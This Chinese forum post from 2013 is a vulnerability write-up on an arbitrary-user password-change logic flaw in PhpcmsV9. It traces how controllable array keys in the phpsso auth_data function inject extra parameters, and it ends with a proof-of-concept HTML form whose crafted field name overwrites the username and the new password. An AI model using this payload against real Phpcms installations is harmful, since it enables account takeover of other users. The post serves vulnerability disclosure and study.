找回密码
 立即注册
查看: 2924|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:
+ U( Q- y5 H% a; Z- b% l
3 X7 |0 Q$ _% u: ?- }$ c5 _0 D' M; ]& _% d; |# J1 \6 ?0 C7 B
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
: s6 ~! }1 r+ W. X% z6 R' X" F
- g8 z* n. y" @5 R在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
! t4 K1 s! d& u& D4 o, R& k2 U# C0 ^/ c
我把它留给了你们。
4 S: C/ W, E, l6 F! r/ v8 {不知道你们发现了它没有。& O6 a, V: a5 `. U. G

5 {2 m$ D$ F" r我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
3 t3 B1 X6 [3 x4 F6 Z
  C1 F1 k/ z" I' l* {所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
: J+ I' |* v  c- K! y
) |1 R2 J9 p9 N6 k! [( |; M0 \也就是# X+ W5 }2 z# R$ r* r

. D+ b7 x3 Z& Jusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
2 \9 f! ]4 e+ ~( j! _: A
/ b' w- N) J9 m( g/ u3 G要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
, m/ f  v4 K2 ^+ s  N
' X+ k) Z; _) h
: |4 m! K! v) W$ h; X3 U其实我们有这样的机会,看看代码,如下:' S& ?% ?/ N- B" Y/ a: G

6 N! b4 J# K$ L( r+ x" Z
. @* P& X4 S3 r! bpublic function auth_data($data) {3 h7 `( j7 y1 D4 d2 [
                $s = $sep = '';/ q9 {& D- u' `
                foreach($data as $k => $v) {
# L5 G1 p& q: i                        if(is_array($v)) {* S1 C8 L9 P' \3 h) |7 X8 X
                                $s2 = $sep2 = '';8 K* e2 U& c- p2 [  \1 y2 J+ e! T6 x0 _
                                foreach($v as $k2 => $v2) {- c$ [# u, `, D1 `2 a: V
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);4 {/ R8 h4 n3 b" z8 g8 P4 L
                                        $sep2 = '&';$ d8 e$ {; e6 V0 r  Y6 C
                                }
! p5 |( n) \0 j+ G. ]  ?  L                                $s .= $sep.$s2;
, ?. ]" G3 \7 B* e8 {. I, C: Q                        } else {
4 q; `3 ?. Y4 G; _$ c; l                                $s .= "$sep$k=".$this->_ps_stripslashes($v);2 B# `  ?) s9 k' W+ d. z  G
                        }
* F- ^+ u, g: o8 N6 t                        $sep = '&';, `! ~( u" R& f! f3 z. C+ t: e5 A
                }# O( @( n2 x2 m! M

' B% q% h7 M# n/ I. R; e- d                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
' D' m+ ]# v/ V: k                return $auth_s;
# R( V4 B5 H. \        }
/ F9 w8 C, ?2 i7 f2 [3 v3 c  t+ k- ^
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。1 i- y" g$ h/ w6 B; o" k

( w/ H: {: H; b( W7 a/ c举个例子
+ }' C* t/ x  u) a! f/ ?2 M
! u8 a" w1 W! v. l4 A5 k" ?# B0 s; k$a[aaa=a&bbb] = 'a';
; g! t9 C9 O# m& W8 a1 v% S) y# n$ z  \4 z+ c# b# }$ [7 @0 H, U. ?: g
会变成aaa=a&bbb=a
! J2 m4 H8 j, D) f
3 Q/ U! \& r/ k- }明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。2 H# ], T: p1 z' x, E/ \
. [2 ~* \! |% F/ U
这个时候,我们可以再去看一个函数。. K' N) Q) q- q' l' {' A

. N. }, U, A& N2 q1 r  L/ }1 ?就在这个文件内:" f( ~6 H, s% G2 |
+ i" j1 u* s0 u" T0 U

% t; F0 A, g+ ~% g  Bpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {" u& x7 @. M0 B' W' W
                if($email && !$this->_is_email($email)) {6 t7 G: |6 @2 c( E1 ~6 b3 I
                        return -4;# l, Y8 T' ^0 r. k) P& Q$ d
                }" r' |, |/ P; \
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
  u+ ~5 [2 d. p2 ]: [        }
6 a6 u3 I: w# T/ X6 x
6 T4 d0 N2 F4 @2 Q; _这是向通行证发了这样一个请求。
4 T# }) P2 i* `
8 z+ i6 W3 s+ C7 ~, y4 l+ h我们再跟到通信证代码里去看看,就会有所发现。2 P+ N& @/ A+ y2 C3 E

2 L7 P. ~1 E2 b- c( y; h6 n
0 W% v2 ?5 t; X- X7 y1 ]0 rpublic function edit() {
5 q3 X! J( _! s//能省就省,太长了不是吗?
; F$ r9 p& U) |: C, _% u/ B4 F0 T; i  K$ I1 L9 p% P) [" x
if($this->username) {+ Q( a1 [/ S, C, O5 w8 V7 u7 Q
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
- ?: N% f( w- M6 [* t0 t. p                                $res = $this->db->update($data, array('username'=>$this->username));
  n; E5 b# a# C( R2 M9 ~5 s                        } else {% i: @. B7 P: S' f5 Q
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
$ T5 W4 N) y9 ^2 b8 H5 [* I                                $res = $this->db->update($data, array('uid'=>$this->uid));" J' A* I6 {! b) J, x( B
                        }& y; ~& W, G" C5 c" w
5 c$ X' h1 u& v. U
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
5 z/ @& J! C6 c. b+ {* M( c0 m* l/ Q/ e& M' t$ g" E6 o8 D
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
7 j1 [  ]' ?$ e8 I8 a; e0 N6 Y1 p8 {/ X% {! E, x, c
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。9 Z+ V* Q5 h4 i6 C; n# Z

  @3 V5 \/ C7 Y( F9 p5 A& v我当然找到了:9 O6 I  y! F0 M" i
phpcms9/phpcms/modules/member/index.php& z6 g' B9 e% @/ [2 t9 f
) u( ~" {& b" Q& C# _2 w
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
: s2 t7 F$ T1 \
' X' R, J$ t5 p* S然后就没有然后了。
" H( Q# O: Q6 ?4 R1 c! l5 h- `/ M  M$ |) q7 Q; q+ P
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">; F5 r  h% ^/ h1 b, R
                                <table width="100%" cellspacing="0" class="table_form">
) T7 S7 L; e9 L                                        <tr>& y8 }0 B8 [) u; N
                                                <th width="80">邮箱:</th>        / Y- ^3 v1 f! E: {5 v
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
" D1 t  }$ v0 X2 |                                        </tr>. V' s' E5 X2 c" k. h4 N; }
                                        <tr>
! R" j0 @. [2 ?8 E4 }                                                <th width="80">原密码:</th>        
9 A+ s. \" P! |' i  i$ d                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>1 x7 h/ r8 X/ J! \" Q
                                        </tr>
3 e. w+ }6 ~. n' }* r, E# y                                        <tr>
( |$ K: J9 e; I$ L                                                <th>新密码:</th>
/ r/ I8 |/ J# V3 T+ m% U                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
. |% x1 |+ Z4 e% u                                        </tr>
9 ^- a, ~9 W5 P0 j  n( y                                        <th></th>
$ N- p) [3 L: N. g0 W; b                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
8 P9 n( j8 q# C& ?5 W* c0 @: B( J0 y                                        </tr>
5 h5 E1 p% s4 F* ?8 q4 ~/ U                                </table>3 Q& [  A5 U2 r! B( i/ A
8 B! S5 C/ u% Z
                               
6 B' {9 c  D" Z2 D/ b2 x2 i                        </form># ]8 N' J1 @1 d2 H9 N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表